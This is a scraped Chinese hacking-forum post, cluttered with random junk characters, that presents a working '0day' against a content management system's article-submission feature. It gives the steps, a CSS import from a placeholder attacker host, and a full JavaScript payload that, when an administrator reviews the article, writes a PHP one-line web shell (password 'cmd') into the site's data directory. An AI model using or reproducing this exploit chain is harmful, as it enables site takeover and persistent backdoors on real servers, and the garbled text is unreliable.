<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
2 L3 X& e' c- j: ~1 X* |% s为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)( S9 i; P3 P8 `* m
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。) y8 s8 @; d) S# `2 D7 s
下面说说利用方法。
0 F2 I% T. V: y$ h% X4 c+ C; y条件有2个:; p" b! y$ W0 q$ q6 Y' z1 Q0 d: p
1.开启注册
, A* V" U; [$ g" Y. v" ?+ o$ O2.开启投稿" @" Y4 W+ }# H9 P# {: y
注册会员----发表文章5 `' N$ u7 M- t7 t$ @8 p* T" W
内容填写:
& s7 f+ p# y3 G6 C, |9 |复制代码
( [ r& a, r3 p7 `; L9 |! I% F<style>@im\port'\http://xxx.com/xss.css';</style>( f; K: y8 ~$ v) R. e6 {
新建XSS.Css
( ?6 I+ m$ c: [# h$ d4 q复制代码
* C" R% k1 C/ l$ w' V.body{
% p* H: X8 O7 |4 obackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
! f H, C3 D$ N3 h3 W9 Z; E* E新建xss.js 内容为
8 B6 M" v+ @! Z9 }) @( Z复制代码
6 C* u; H5 y7 @! I1.var request = false;; Z; z; _) q& T( N! g
2.if(window.XMLHttpRequest) {( T4 O4 S. F$ G# f7 S1 ^
3.request = new XMLHttpRequest();
7 v; \% x. w3 K" e" K5 X6 v4.if(request.overrideMimeType) {' P9 K, \! a9 L5 s' h- s
5.request.overrideMimeType('text/xml');
+ o5 q% A& I. n4 V k# Y: k6.}+ ~ l y( i0 i; H
7.} else if(window.ActiveXObject) {# X6 d- m" `3 a8 U
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
. ]3 } V3 c; [! B8 X9.for(var i=0; i<versions.length; i++) {9 W8 W' M6 i7 o% n5 B
10.try {
0 u1 T) U9 T4 n3 [11.request = new ActiveXObject(versions);& [8 j0 J e1 [$ o' C" _
12.} catch(e) {} s1 G+ e9 u8 o! {0 E" t( O
13.}' }9 G1 S$ L" K/ U, b, {
14.}2 Z# g; T, A, m: i' d
15.xmlhttp=request;
& |4 {5 c& ~' P# c7 A3 Z# R, A; x16.function getFolder( url ){
& ]. S( f( B! Z6 v2 y9 @17. obj = url.split('/')
+ @% X3 [3 k, M3 N18. return obj[obj.length-2]; ? f1 T0 _1 Y# k2 ^; |
19.}2 v u$ k: P" O4 @) y; [/ V
20.oUrl = top.location.href;
: X4 ~1 i$ o5 V21.u = getFolder(oUrl);
0 w5 L$ |* ~; j1 V; L. t+ s4 \. z22.add_admin();$ ]2 n* a+ D- x/ |& Y
23.function add_admin(){
+ f% w" K; ^: o8 Z0 A: w8 N0 T24.var url= "/"+u+"/sys_sql_query.php";
6 M2 I3 L4 S( T3 @& w25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";0 l" T# P+ R, f$ J' i- h" i
26.xmlhttp.open("POST", url, true);
! a2 b8 X/ m5 R: m4 n$ r: p27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
! b" Z# T+ O) ~0 d% m$ I5 H0 i28.xmlhttp.setRequestHeader("Content-length", params.length);
. U9 A4 \3 m6 c8 o29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
: ?5 Q" l) R9 [6 r30.xmlhttp.send(params); @ R8 Q) P; o' D& f3 ^+ ~
31.}
- n1 K; x" @3 V当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |